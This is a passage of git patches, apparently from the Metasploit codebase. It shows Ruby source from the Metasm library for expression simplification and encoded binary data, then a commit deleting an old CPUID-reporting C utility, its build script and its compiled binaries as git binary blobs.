:unknown; :unknown - elsif l == 0; r - elsif r == 0; l - elsif l == r; 0 - elsif r == 1 and l.kind_of? Expression and NEG_OP[l.op] - Expression[nil, :'!', l].reduce_rec - elsif l.kind_of?(::Numeric) - if r.kind_of? Expression and r.op == :^ - # 1^(x^y) => x^(y^1) - Expression[r.lexpr, :^, [r.rexpr, :^, l]].reduce_rec - else - # 1^a => a^1 - Expression[r, :^, l].reduce_rec - end - elsif l.kind_of? Expression and l.op == :^ - # (a^b)^c => a^(b^c) - Expression[l.lexpr, :^, [l.rexpr, :^, r]].reduce_rec - elsif r.kind_of? Expression and r.op == :^ - if r.rexpr == l - # a^(a^b) => b - r.lexpr - elsif r.lexpr == l - # a^(b^a) => b - r.rexpr - else - # a^(b^(c^(a^d))) => b^(a^(c^(a^d))) - # XXX ugly.. - tr = r - found = false - while not found and tr.kind_of?(Expression) and tr.op == :^ - found = true if tr.lexpr == l or tr.rexpr == l - tr = tr.rexpr - end - if found - Expression[r.lexpr, :^, [l, :^, r.rexpr]].reduce_rec - end - end - elsif l.kind_of?(Expression) and l.op == :& and l.rexpr.kind_of?(::Integer) and (l.rexpr & (l.rexpr+1)) == 0 - if r.kind_of?(::Integer) and r & l.rexpr == r - # (a&0xfff)^12 => (a^12)&0xfff - Expression[[l.lexpr, :^, r], :&, l.rexpr].reduce_rec - elsif r.kind_of?(Expression) and r.op == :& and r.rexpr.kind_of?(::Integer) and r.rexpr == l.rexpr - # (a&0xfff)^(b&0xfff) => (a^b)&0xfff - Expression[[l.lexpr, :^, r.lexpr], :&, l.rexpr].reduce_rec - end - end - end - - def reduce_op_and(l, r) - if l == 0 or r == 0; 0 - elsif r == 1 and l.kind_of?(Expression) and [:'==', :'!=', :<, :>, :<=, :>=].include?(l.op) - l - elsif l == r; l - elsif l.kind_of?(Integer); Expression[r, :&, l].reduce_rec - elsif l.kind_of?(Expression) and l.op == :&; Expression[l.lexpr, :&, [l.rexpr, :&, r]].reduce_rec - elsif l.kind_of?(Expression) and [:|, :^].include?(l.op) and r.kind_of?(Integer) and (l.op == :| or (r & (r+1)) != 0) - # (a ^| b) & i => (a&i ^| b&i) - Expression[[l.lexpr, :&, r], l.op, [l.rexpr, :&, r]].reduce_rec - elsif r.kind_of?(::Integer) and l.kind_of?(Expression) and (r & (r+1)) == 0 - # foo & 0xffff - case l.op - when :+, :^ - if l.lexpr.kind_of?(Expression) and l.lexpr.op == :& and - l.lexpr.rexpr.kind_of?(::Integer) and l.lexpr.rexpr & r == r - # ((a&m) + b) & m => (a+b) & m - Expression[[l.lexpr.lexpr, l.op, l.rexpr], :&, r].reduce_rec - elsif l.rexpr.kind_of?(Expression) and l.rexpr.op == :& and - l.rexpr.rexpr.kind_of?(::Integer) and l.rexpr.rexpr & r == r - # (a + (b&m)) & m => (a+b) & m - Expression[[l.lexpr, l.op, l.rexpr.lexpr], :&, r].reduce_rec - else - Expression[l, :&, r] - end - when :| - # rol/ror composition - reduce_rec_composerol l, r - else - Expression[l, :&, r] - end - end - end - - # a check to see if an Expr is the composition of two rotations (rol eax, 4 ; rol eax, 6 => rol eax, 10) - # this is a bit too ugly to stay in the main reduce_rec body. - def reduce_rec_composerol(e, mask) - m = Expression[['var', :sh_op, 'amt'], :|, ['var', :inv_sh_op, 'inv_amt']] - if vars = e.match(m, 'var', :sh_op, 'amt', :inv_sh_op, 'inv_amt') and vars[:sh_op] == {:>> => :<<, :<< => :>>}[vars[:inv_sh_op]] and - ((vars['amt'].kind_of?(::Integer) and vars['inv_amt'].kind_of?(::Integer) and ampl = vars['amt'] + vars['inv_amt']) or - (vars['amt'].kind_of? Expression and vars['amt'].op == :% and vars['amt'].rexpr.kind_of?(::Integer) and - vars['inv_amt'].kind_of? Expression and vars['inv_amt'].op == :% and vars['amt'].rexpr == vars['inv_amt'].rexpr and ampl = vars['amt'].rexpr)) and - mask == (1<> => :<<, :<< => :>>}[ivars[:inv_sh_op]] and - ((ivars['amt'].kind_of?(::Integer) and ivars['inv_amt'].kind_of?(::Integer) and ampl = ivars['amt'] + ivars['inv_amt']) or - (ivars['amt'].kind_of? Expression and ivars['amt'].op == :% and ivars['amt'].rexpr.kind_of?(::Integer) and - ivars['inv_amt'].kind_of? Expression and ivars['inv_amt'].op == :% and ivars['amt'].rexpr == ivars['inv_amt'].rexpr and ampl = ivars['amt'].rexpr)) - if ivars[:sh_op] != vars[:sh_op] - # ensure the rotations are the same orientation - ivars[:sh_op], ivars[:inv_sh_op] = ivars[:inv_sh_op], ivars[:sh_op] - ivars['amt'], ivars['inv_amt'] = ivars['inv_amt'], ivars['amt'] - end - amt = Expression[[vars['amt'], :+, ivars['amt']], :%, ampl] - invamt = Expression[[vars['inv_amt'], :+, ivars['inv_amt']], :%, ampl] - Expression[[[[ivars['var'], :&, mask], vars[:sh_op], amt], :|, [[ivars['var'], :&, mask], vars[:inv_sh_op], invamt]], :&, mask].reduce_rec - else - Expression[e, :&, mask] - end - end - - def reduce_op_or(l, r) - if l == 0; r - elsif r == 0; l - elsif l == -1 or r == -1; -1 - elsif l == r; l - elsif l.kind_of? Integer; Expression[r, :|, l].reduce_rec - elsif l.kind_of? Expression and l.op == :| - # (a|b)|c => a|(b|c) - Expression[l.lexpr, :|, [l.rexpr, :|, r]].reduce_rec - elsif l.kind_of? Expression and l.op == :& and r.kind_of? Expression and r.op == :& and l.lexpr == r.lexpr - # (a&b)|(a&c) => a&(b|c) - Expression[l.lexpr, :&, [l.rexpr, :|, r.rexpr]].reduce_rec - end - end - - def reduce_op_times(l, r) - if l == 0 or r == 0; 0 - elsif l == 1; r - elsif r == 1; l - elsif r.kind_of? Integer; Expression[r, :*, l].reduce_rec - elsif r.kind_of? Expression and r.op == :*; Expression[[l, :*, r.lexpr], :*, r.rexpr].reduce_rec - elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :* and r.lexpr.kind_of? Integer; Expression[l*r.lexpr, :*, r.rexpr].reduce_rec # XXX need & regsize.. - elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :+ and r.rexpr.kind_of? Integer; Expression[[l, :*, r.lexpr], :+, l*r.rexpr].reduce_rec - end - end - - def reduce_op_div(l, r) - if r == 0 - elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :+ and l.rexpr.kind_of? Integer and l.rexpr % r == 0 - Expression[[l.lexpr, :/, r], :+, l.rexpr/r].reduce_rec - elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :* and l.lexpr % r == 0 - Expression[l.lexpr/r, :*, l.rexpr].reduce_rec - end - end - - def reduce_op_mod(l, r) - if r.kind_of?(Integer) and r != 0 and (r & (r-1) == 0) - Expression[l, :&, r-1].reduce_rec - end - end - - - # a pattern-matching method - # Expression[42, :+, 28].match(Expression['any', :+, 28], 'any') => {'any' => 42} - # Expression[42, :+, 28].match(Expression['any', :+, 'any'], 'any') => false - # Expression[42, :+, 42].match(Expression['any', :+, 'any'], 'any') => {'any' => 42} - # vars can match anything except nil - def match(target, *vars) - match_rec(target, vars.inject({}) { |h, v| h.update v => nil }) - end - - def match_rec(target, vars) - return false if not target.kind_of? Expression - [target.lexpr, target.op, target.rexpr].zip([@lexpr, @op, @rexpr]) { |targ, exp| - if targ and vars[targ] - return false if exp != vars[targ] - elsif targ and vars.has_key? targ - return false if not vars[targ] = exp - elsif targ.kind_of? ExpressionType - return false if not exp.kind_of? ExpressionType or not exp.match_rec(targ, vars) - else - return false if targ != exp - end - } - vars - end - - # returns the array of non-numeric members of the expression - # if a variables appears 3 times, it will be present 3 times in the returned array - def externals - a = [] - [@rexpr, @lexpr].each { |e| - case e - when ExpressionType; a.concat e.externals - when nil, ::Numeric; a - else a << e - end - } - a - end - - # returns the externals that appears in the expression, does not walk through other ExpressionType - def expr_externals(include_exprs=false) - a = [] - [@rexpr, @lexpr].each { |e| - case e - when Expression; a.concat e.expr_externals(include_exprs) - when nil, ::Numeric; a - when ExpressionType; include_exprs ? a << e : a - else a << e - end - } - a - end - - def inspect - "Expression[#{@lexpr.inspect.sub(/^Expression/, '') + ', ' if @lexpr}#{@op.inspect + ', ' if @lexpr or @op != :+}#{@rexpr.inspect.sub(/^Expression/, '')}]" - end - - Unknown = self[:unknown] -end - -# An Expression with a custom string representation -# used to show #define constants, struct offsets, func local vars, etc -class ExpressionString < ExpressionType - attr_accessor :expr, :str, :type, :hide_str - def reduce; expr.reduce; end - def reduce_rec; expr.reduce_rec; end - def bind(*a); expr.bind(*a); end - def externals; expr.externals; end - def expr_externals; expr.expr_externals; end - def match_rec(*a); expr.match_rec(*a); end - def initialize(expr, str, type=nil) - @expr = Expression[expr] - @str = str - @type = type - end - def render_str ; [str] ; end - def inspect ; "ExpressionString.new(#{@expr.inspect}, #{str.inspect}, #{type.inspect})" ; end -end - -# an EncodedData relocation, specifies a value to patch in -class Relocation - # the relocation value (an Expression) - attr_accessor :target - # the relocation expression type - attr_accessor :type - # the endianness of the relocation - attr_accessor :endianness - - include Backtrace - - def initialize(target, type, endianness, backtrace = nil) - raise ArgumentError, "bad args #{[target, type, endianness].inspect}" if not target.kind_of? Expression or not type.kind_of?(::Symbol) or not endianness.kind_of?(::Symbol) - @target, @type, @endianness, @backtrace = target, type, endianness, backtrace - end - - # fixup the encodeddata with value (reloc starts at off) - def fixup(edata, off, value) - str = Expression.encode_imm(value, @type, @endianness, @backtrace) - edata.fill off - edata.data[off, str.length] = str - end - - # size of the relocation field, in bytes - def length - Expression::INT_SIZE[@type]/8 - end -end - -# a String-like, with export/relocation informations added -class EncodedData - # string with raw data - attr_accessor :data - # hash, key = offset within data, value = +Relocation+ - attr_accessor :reloc - # hash, key = export name, value = offset within data - use add_export to update - attr_accessor :export - # hash, key = offset, value = 1st export name - attr_accessor :inv_export - # virtual size of data (all 0 by default, see +fill+) - attr_accessor :virtsize - # arbitrary pointer, often used when decoding immediates - # may be initialized with an export value - attr_reader :ptr # custom writer - def ptr=(p) @ptr = @export[p] || p end - - # opts' keys in :reloc, :export, :virtsize, defaults to empty/empty/data.length - def initialize(data='', opts={}) - if data.respond_to?(:force_encoding) and data.encoding.name != 'ASCII-8BIT' and data.length > 0 - puts "Forcing edata.data.encoding = BINARY at", caller if $DEBUG - data = data.dup.force_encoding('binary') - end - @data = data - @reloc = opts[:reloc] || {} - @export = opts[:export] || {} - @inv_export = @export.invert - @virtsize = opts[:virtsize] || @data.length - @ptr = 0 - end - - def add_export(label, off=@ptr, set_inv=false) - @export[label] = off - if set_inv or not @inv_export[off] - @inv_export[off] = label - end - label - end - - def del_export(label, off=@export[label]) - @export.delete label - if e = @export.index(off) - @inv_export[off] = e - else - @inv_export.delete off - end - end - - # returns the size of raw data, that is [data.length, last relocation end].max - def rawsize - [@data.length, *@reloc.map { |off, rel| off + rel.length } ].max - end - # String-like - alias length virtsize - # String-like - alias size virtsize - - def empty? - @virtsize == 0 - end - - def eos? - ptr.to_i >= @virtsize - end - - # returns a copy of itself, with reloc/export duped (but not deep) - def dup - self.class.new @data.dup, :reloc => @reloc.dup, :export => @export.dup, :virtsize => @virtsize - end - - # resolve relocations: - # calculate each reloc target using Expression#bind(binding) - # if numeric, replace the raw data with the encoding of this value (+fill+s preceding data if needed) and remove the reloc - # if replace_target is true, the reloc target is replaced with its bound counterpart - def fixup_choice(binding, replace_target) - return if binding.empty? - @reloc.keys.each { |off| - val = @reloc[off].target.bind(binding).reduce - if val.kind_of? Integer - reloc = @reloc[off] - reloc.fixup(self, off, val) - @reloc.delete(off) # delete only if not overflowed - elsif replace_target - @reloc[off].target = val - end - } - end - - # +fixup_choice+ binding, false - def fixup(binding) - fixup_choice(binding, false) - end - - # +fixup_choice+ binding, true - def fixup!(binding) - fixup_choice(binding, true) - end - - # returns a default binding suitable for use in +fixup+ - # every export is expressed as base + offset - # base defaults to the first export name + its offset - def binding(base = nil) - if not base - key = @export.index(@export.values.min) - return {} if not key - base = (@export[key] == 0 ? key : Expression[key, :-, @export[key]]) - end - binding = {} - @export.each { |n, o| binding.update n => Expression.new(:+, o, base) } - binding - end - - # returns an array of variables that needs to be defined for a complete #fixup - # ie the list of externals for all relocations - def reloc_externals(interns = @export.keys) - @reloc.values.map { |r| r.target.externals }.flatten.uniq - interns - end - - # returns the offset where the relocation for target t is to be applied - def offset_of_reloc(t) - t = Expression[t] - @reloc.keys.find { |off| @reloc[off].target == t } - end - - # fill virtual space by repeating pattern (String) up to len - # expand self if len is larger than self.virtsize - def fill(len = @virtsize, pattern = [0].pack('C')) - @virtsize = len if len > @virtsize - @data = @data.to_str.ljust(len, pattern) if len > @data.length - end - - # rounds up virtsize to next multiple of len - def align(len, pattern=nil) - @virtsize = EncodedData.align_size(@virtsize, len) - fill(@virtsize, pattern) if pattern - end - - # returns the value val rounded up to next multiple of len - def self.align_size(val, len) - return val if len == 0 - ((val + len - 1) / len).to_i * len - end - - # concatenation of another +EncodedData+ (or nil/Integer/anything supporting String#<<) - def <<(other) - case other - when nil - when ::Integer - fill - @data = @data.to_str if not @data.kind_of? String - @data << other - @virtsize += 1 - when EncodedData - fill if not other.data.empty? - other.reloc.each { |k, v| @reloc[k + @virtsize] = v } if not other.reloc.empty? - if not other.export.empty? - other.export.each { |k, v| - if @export[k] and @export[k] != v + @virtsize - cf = (other.export.keys & @export.keys).find_all { |k_| other.export[k_] != @export[k_] - @virtsize } - raise "edata merge: label conflict #{cf.inspect}" - end - @export[k] = v + @virtsize - } - other.inv_export.each { |k, v| @inv_export[@virtsize + k] = v } - end - if @data.empty?; @data = other.data.dup - elsif not @data.kind_of?(String); @data = @data.to_str << other.data - else @data << other.data - end - @virtsize += other.virtsize - else - fill - if other.respond_to?(:force_encoding) and other.encoding.name != 'ASCII-8BIT' - puts "Forcing edata.data.encoding = BINARY at", caller if $DEBUG - other = other.dup.force_encoding('binary') - end - if @data.empty?; @data = other.dup - elsif not @data.kind_of?(String); @data = @data.to_str << other - else @data << other - end - @virtsize += other.length - end - - self - end - - # equivalent to dup << other, filters out Integers & nil - def +(other) - raise ArgumentError if not other or other.kind_of?(Integer) - dup << other - end - - # slice - def [](from, len=nil) - if not len and from.kind_of? Range - b = from.begin - e = from.end - b = @export[b] if @export[b] - e = @export[e] if @export[e] - b = b + @virtsize if b < 0 - e = e + @virtsize if e < 0 - len = e - b - len += 1 if not from.exclude_end? - from = b - end - from = @export[from] if @export[from] - from = from + @virtsize if from < 0 - return if from > @virtsize or from < 0 - - return @data[from] if not len - len = @virtsize - from if from+len > @virtsize - ret = EncodedData.new @data[from, len] - ret.virtsize = len - @reloc.each { |o, r| - ret.reloc[o - from] = r if o >= from and o + r.length <= from+len - } - @export.each { |e_, o| - ret.export[e_] = o - from if o >= from and o <= from+len # XXX include end ? - } - @inv_export.each { |o, e_| - ret.inv_export[o-from] = e_ if o >= from and o <= from+len - } - ret - end - - # slice replacement, supports size change (shifts following relocs/exports) - # discards old exports/relocs from the overwritten space - def []=(from, len, val=nil) - if not val - val = len - len = nil - end - if not len and from.kind_of?(::Range) - b = from.begin - e = from.end - b = @export[b] if @export[b] - e = @export[e] if @export[e] - b = b + @virtsize if b < 0 - e = e + @virtsize if e < 0 - len = e - b - len += 1 if not from.exclude_end? - from = b - end - from = @export[from] || from - raise "invalid offset #{from}" if not from.kind_of?(::Integer) - from = from + @virtsize if from < 0 - - if not len - val = val.chr if val.kind_of?(::Integer) - len = val.length - end - raise "invalid slice length #{len}" if not len.kind_of?(::Integer) or len < 0 - - if from >= @virtsize - len = 0 - elsif from+len > @virtsize - len = @virtsize-from - end - - val = EncodedData.new << val - - # remove overwritten metadata - @export.delete_if { |name, off| off > from and off < from + len } - @reloc.delete_if { |off, rel| off - rel.length > from and off < from + len } - # shrink/grow - if val.length != len - diff = val.length - len - @export.keys.each { |name| @export[name] = @export[name] + diff if @export[name] > from } - @inv_export.keys.each { |off| @inv_export[off+diff] = @inv_export.delete(off) if off > from } - @reloc.keys.each { |off| @reloc[off + diff] = @reloc.delete(off) if off > from } - if @virtsize >= from+len - @virtsize += diff - end - end - - @virtsize = from + val.length if @virtsize < from + val.length - - if from + len < @data.length # patch real data - val.fill - @data[from, len] = val.data - elsif not val.data.empty? # patch end of real data - @data << ([0].pack('C')*(from-@data.length)) if @data.length < from - @data[from..-1] = val.data - else # patch end of real data with fully virtual - @data = @data[0, from] - end - val.export.each { |name, off| @export[name] = from + off } - val.inv_export.each { |off, name| @inv_export[from+off] = name } - val.reloc.each { |off, rel| @reloc[from + off] = rel } - end - - # replace a portion of self - # from/to may be Integers (offsets) or labels (from self.export) - # content is a String or an EncodedData, which will be inserted in the specified location (padded if necessary) - # raise if the string does not fit in. - def patch(from, to, content) - from = @export[from] || from - raise "invalid offset specification #{from}" if not from.kind_of? Integer - to = @export[to] || to - raise "invalid offset specification #{to}" if not to.kind_of? Integer - raise EncodeError, 'cannot patch data: new content too long' if to - from < content.length - self[from, content.length] = content - end - - # returns a list of offsets where /pat/ can be found inside @data - # scan is done per chunk of chunksz bytes, with a margin for chunk-overlapping patterns - # yields each offset found, and only include it in the result if the block returns !false - def pattern_scan(pat, chunksz=nil, margin=nil) - chunksz ||= 4*1024*1024 # scan 4MB at a time - margin ||= 65536 # add this much bytes at each chunk to find /pat/ over chunk boundaries - pat = Regexp.new(Regexp.escape(pat)) if pat.kind_of?(::String) - - found = [] - chunkoff = 0 - while chunkoff < @data.length - chunk = @data[chunkoff, chunksz+margin].to_str - off = 0 - while match = chunk[off..-1].match(pat) - off += match.pre_match.length - m_l = match[0].length - break if off >= chunksz # match fully in margin - match_addr = chunkoff + off - found << match_addr if not block_given? or yield(match_addr) - off += m_l - end - chunkoff += chunksz - end - found - end -end -end From bd3e47451379a5b699ce16f79f0ea85fe2319348 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 10 Dec 2018 19:03:04 -0600 Subject: [PATCH 043/220] delete old cpuinfo code (is it used anywhere?) --- data/cpuinfo/build.sh | 11 ------ data/cpuinfo/cpuinfo.c | 64 ---------------------------------- data/cpuinfo/cpuinfo.exe | Bin 5120 -> 0 bytes data/cpuinfo/cpuinfo.ia32.bin | Bin 544188 -> 0 bytes data/cpuinfo/cpuinfo.ia64.bin | Bin 669368 -> 0 bytes 5 files changed, 75 deletions(-) delete mode 100755 data/cpuinfo/build.sh delete mode 100755 data/cpuinfo/cpuinfo.c delete mode 100755 data/cpuinfo/cpuinfo.exe delete mode 100755 data/cpuinfo/cpuinfo.ia32.bin delete mode 100755 data/cpuinfo/cpuinfo.ia64.bin diff --git a/data/cpuinfo/build.sh b/data/cpuinfo/build.sh deleted file mode 100755 index 9d65fd482ed2..000000000000 --- a/data/cpuinfo/build.sh +++ /dev/null @@ -1,11 +0,0 @@ -#!/bin/sh - -gcc -o cpuinfo.ia32.bin cpuinfo.c -static -m32 -Wall && \ -strip cpuinfo.ia32.bin && \ -gcc -o cpuinfo.ia64.bin cpuinfo.c -static -m64 -Wall && \ -strip cpuinfo.ia64.bin && \ -i586-mingw32msvc-gcc -m32 -static -Wall -o cpuinfo.exe cpuinfo.c && \ -strip cpuinfo.exe - -ls -la cpuinfo.ia32.bin cpuinfo.ia64.bin cpuinfo.exe - diff --git a/data/cpuinfo/cpuinfo.c b/data/cpuinfo/cpuinfo.c deleted file mode 100755 index 55bfb1339e86..000000000000 --- a/data/cpuinfo/cpuinfo.c +++ /dev/null @@ -1,64 +0,0 @@ -// This is a slightly modified copy of the METASM pe-ia32-cpuid.rb example - -/* -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# this sample shows the compilation of a slightly more complex program -# it displays in a messagebox the result of CPUID -# - -*/ - -#include -#include - -static char *featureinfo[32] = { - "fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce", "cx8", - "apic", "unk10", "sep", "mtrr", "pge", "mca", "cmov", "pat", - "pse36", "psn", "clfsh", "unk20", "ds", "acpi", "mmx", - "fxsr", "sse", "sse2", "ss", "htt", "tm", "unk30", "pbe" -}, *extendinfo[32] = { - "sse3", "unk1", "unk2", "monitor", "ds-cpl", "unk5-vt", "unk6", "est", - "tm2", "unk9", "cnxt-id", "unk12", "cmpxchg16b", "unk14", "unk15", - "unk16", "unk17", "unk18", "unk19", "unk20", "unk21", "unk22", "unk23", - "unk24", "unk25", "unk26", "unk27", "unk28", "unk29", "unk30", "unk31" -}; - -#define cpuid(id) __asm__( "cpuid" : "=a"(eax), "=b"(ebx), "=c"(ecx), "=d"(edx) : "a"(id), "b"(0), "c"(0), "d"(0)) -#define b(val, base, end) ((val << (31-end)) >> (31-end+base)) -int main(void) -{ - - unsigned long eax, ebx, ecx, edx; - unsigned long i; - - cpuid(0); - fprintf(stdout, "VENDOR: %.4s%.4s%.4s\n", (char *)&ebx, (char *)&edx, (char *)&ecx); - - cpuid(1); - fprintf(stdout, "MODEL: family=%ld model=%ld stepping=%ld efamily=%ld emodel=%ld ", - b(eax, 8, 11), b(eax, 4, 7), b(eax, 0, 3), b(eax, 20, 27), b(eax, 16, 19)); - fprintf(stdout, "brand=%ld cflush sz=%ld*8 nproc=%ld apicid=%ld\n", - b(ebx, 0, 7), b(ebx, 8, 15), b(ebx, 16, 23), b(ebx, 24, 31)); - - fprintf(stdout, "FLAGS:"); - for (i=0 ; i<32 ; i++) - if (edx & (1 << i)) - fprintf(stdout, " %s", featureinfo[i]); - - for (i=0 ; i<32 ; i++) - if (ecx & (1 << i)) - fprintf(stdout, " %s", extendinfo[i]); - - fprintf(stdout, "\n"); - fflush(stdout); - - return 0; -} - diff --git a/data/cpuinfo/cpuinfo.exe b/data/cpuinfo/cpuinfo.exe deleted file mode 100755 index 6418da1b50a631002bed532dac54b20272ed3ef9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5120 zcmeHLeQZ>4vRR@tpgf#n{_v>}>ZPmBE~QiVUR{00 z)Npn67lI*Gip9G+;=YLF_eG;!n$)I9@$RS;ic0l6JyN7Apj4NZF0RanmR&>*riCSYk47Br7BgGf~Zbpk;sraCW?gobxsTOvTuX8BE0?66X>QY|9RU&Jh+8 z$wc*t^WPrTn$oLb)4oNRI4?fu+##^WkVxKJ9q?&BtRLb-N&x3t0u&7=?afrjbB1@= zt_EPcrA0HCjphhA$&a-GBUZ#lsc=-{mK(k&t zCOav0t2O&(T6>VdUwjXry5&jCNJ05NCmE~ouqH-JjE;pw#-V$_%#@^EZ(ne|%_o=B zt~+{#wAx7?IcRY@DM*-%mtZ$&#VRo>B{SXi#&;mlmsi3rRc17Bl*w7+MKeNv1B^$v zHtEaR-95F2_A*XxCWIKEv;$+5_><6`H z^wztVhAosn^&nWPdl9bMQ+3~Ba(~?sknZv6SL@)O(KgjpFn?LZv=~p$#ng5sGukP1 zr_+)hOI*xir|IwabARpQQwMNf;jzS6G4JshJPxtPl7h!n9EL2h&Pn#>Tuq%8V;nE5 zT;!>z3(_UV&*r7;3R0`_W0vBu7qiK6+u=_^VbtdgrB2%5b5ji$j*)mb zt38|?*OsN%9b>hqcXmbMEz9=qJDl3=CvXt`E-XjO@`3E*)8^DjdaFramSmsgweH#J zb4B$?H&j}1KeAuCi%gzr@iZl7))*bwP1NBWKO(R3be1RE@s!I*wN9oQCsNHf(#;d; z#vAF@$w9s>iHw9C+)bXK&(61M`vUHXbcWOa&@j5o7@8PKd<1I?r+i)nIGPJkP|BV6bee)QP#IC7DZAjB;WA7=syEJvgZ*M6HLSaCtR6$B zD|Oclsw|;pg$TH)?%-cU>_>AEvaXrL3p1;Fe)0jKCW=G7{QjZ-gp#7ebD`#Uv&x-| zjk7uRytG6%PUmEzr)g#O+1-1*t!dxgk^X*k-7_$-D>ZiT&;0xEJ~puHn0@RAytW;F z6Nj~DY{&8PIQ%QD#hGo#Z@+HRY_!}#liw1Utw zCnVFH&^j+P&k4(f@Zj&Up=C}e3E}Obd0(fH^xcvQx%6G`%jLqy?6V!OW6~p@Kyb-x zz2zdNGas|>N-odcxNfDKaNku^N-U;-J%2$^pYfZmC{%tlzjg=xOx-&84pX&UZ?fp7 zgE%T`F=REFbMm-RaLHDk#O3Jk&sJT@(=&NGnWv}nG?S+{@^m6kf0?Imnc?xPca6H{b>Q zKoAH6ai9ly9ykOffv*8y2aW*W1_prd0w;i1fFA)TfmeaEz)yh-z|Vo}z&P+b;3i-I zv%qb@gw8JlN`X%T4*;tG-n$C)bATP#0Mr3nfv13-Kr_I5?*`=|`jlG={{L+XhuS*) zonEy%5Dt^~=^n3J=?JNs65ks3sj8y#dD~;%)DuxCpioRzNK^e3QR5WzDHQQ5FixtWri-n>cf>DZ0 z6#jb7*>GRl;=X7=82Q`7-D*%$4>0%HjZzff;C`Xu#)O2?VtS(C@ok>XBvpy7as<2< z`P(i(W}AqPg8yQXY@?g#WD#GmEzlY0{st_CuLKmvV_5G1_5fkv%fMHGe&8kG72qUr z78nJt0M~)S_)o+gAXjfllTjK4k5-duo1!-iq^lc-}@c^sLtj13+S1mbK&H_aYJ zYmNqmMZneTS7KVIEBZtzj5|Ub$m{J;w1_Vh^~F0>Y6KtidX;ETDBcw%+L`0qxo<>% zaH^tteX*EV+aH7E2zmVqaw1x6@`k$Fh`wU-c14BghbA`8dG0X#@c#m~YcsctUK8yz zx5wh4sMbzlthzNn?KihS7Y}KOJ8V`%9Z_Ex)#Tn4VY|z{!_`ph5ceIbWzhXQh^RgO QxK@Z#=-S8hqgH``0&T35&;S4c diff --git a/data/cpuinfo/cpuinfo.ia32.bin b/data/cpuinfo/cpuinfo.ia32.bin deleted file mode 100755 index 157e44eb183fab3e7471ae2d3acdd34adc741d22..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 544188 zcmbq+3w%_?_5W_Nfdv-tssW<}ff_9l)I^|V4cL%m14g335TruXwm@y|gTiitk3hoB z5~jCn(^gyiur<;LZEdx!(txi#FdH7#@KD1;i5T&&8+8GjgrMyI`<>a{YykV~@Av0J z_RidSojG&n%sFSy%w6Z6Uud;jEwO(|mShWKT{SlQbUbTsvdg6DmWh^OmdTcJmdj+i zd|7R?Tkv;$y4}LR6uxv?WP1IV?3Vgh9d`b8po(P~7L-@%HatG&AIkEt0Ac>|J^zN| zFR?tTM9YKe3*PlCL-d?~te@p?LwaKQm3YTLrm=5)vQCEQ-cp8NizNwvEU)2@>8bcj z#vjv5nton$`?94ak3W~c^_jnXeZ}UtZ@tUX;jmxLywRsU`gBB}&gipDyj!aG*i2-# zEU9VTc#GX){N$5JB;woaNio;1J>6%XLX!FMykVBbOLnwIu4K*kFnf?ckt^9kVw^1{ z#@S+GoGlN=vp={~ysdYKOBUXCPl;i(-&2pD1&i)!T5q$P8hZF~{g8hO-qh;ZcXvAM z7VpA_Wq3aK3`Vgg^dx?pPbcXitE+SM<^C;%Pj9krVwOm%kI6E-t8LyRXUP z2-q^R?snMCeL2G{Z7HnPs&7wSQr@b{mo={Z?MSCav z_&pg5{Y&wjpRst`m2Zr+H&nmounSLy6S*A7Wk)WXuw|GX4vVFcMDjn@X`qefE{AAo zem@vWA!g??y`%v<`3Bx!cI0J!`hbiZPoGG&r_p7H-n=r7KMYB#;1`P z9dKYA?3@l94`P7%j-yq?=Obzf%|%o5x5=b^qIustqEocsRmr3d4A7NKG#tKMkm9y~ z#@kOotrunwUS0l6j7 z=-Zbqx$`d3Q{Gx8SIMpc?op6+pEH|ew4af|kFlTqd{ik+K20onKqeq=Ms zCT?1D3?wwB2}J3C<|<}0oO+YZx7XWe{^B@dGnm=e>%G<-b(%D+ZQKRi8KXTX@Op>l z`zvCiMT}v5_65U|EZRdO@yhgL5d7YEO&@q`Lje*4?rv6(8fyQIr}j_h3Q_j1wk0=d zqx(I>+r3=OAnWoS@}zMLnU`b8r%2B*|1tvg5LlzkX%ss^Xo}h$8RioNEOMS=vog#I z6f?$b=RDl2`Q{LGcPa+@(r8_>BE#(jaiU6Fq%76%ZY0fI1NZ@}kGyPoLp7mr?_b{V zpbT^()ACJxsj4Y<5+1|NNyrHpDYLVVOsog>7{BL0Naj>9?pTNLZZF@N2iVA(>)2uP zY)lw#v`#|{G2vL^|b`)Tt!#Pq7CleOBtXCjfd!X*4zM{3#HKRX&t@Z{ymatW(B z7LKg5Txr2ib60Znu@TvAqGOu38?y`{Z+Gx#DD7$%E!u_>go1AT0G2Mo@&ha&<{#Fa z?h8jiX(X4H?50{E?RwOYOnhg)*NLB_2(73O{sV;*I57BGP0vOov6H~FMU?l8R^k0b zyiQzvz#jBRJR^{g!Qguz2E9t7I4=mqjaOab0kRSVbsG4B{@W~ zV?GZcT&>?>NJ~`ASRJVwr83Xt8)5hWlZc`*}~g-*c7a zsKmXt0gYFAR6R%iZYh3NAr^{S}rn@Q5Ufco*}h$8KJZmtf0DimjSjJj&&F zM=&xJ7eq@#?jDC7NC~7=A9UDrkuBvnpk}=*oKlbHCMIV$1yXh&$HIctKuQNf%o|AA zju0~iQrZ#XiXTWh9L*PBf1*=;R>LgJE=&nfb-poX86wR`Q~aq;SI4T6q3n9SX`-uR zb*4UZxc6hDB-L1%F3LKL5~u69C~G%L>>{k?H-olC+3wJI^jj3~&+ZMlccW2Dz}>DM z9el_hW$*PbwMLT5J49#SanWkH_iIlbNOs$;ogC#qfS`@C{pd56!W&V>|DZD>I{G>% z1$@0)Z3#MRly&$Eu8(Bz?duf>wWr!LTl}e)h%xmju&L`U^u*l`qHjxim^HWh*W?21Tju5v5S0X<4Lq7$`AX?I|J@c3{E8A?utY-^q_kIlKxfA zx!jD9;qDBibfX=G^Vrx7j)UL!GD+zn6M!1--PKo4N9Ip_y<*IMLRZ!|lS$RXFO_B*wF_x??! 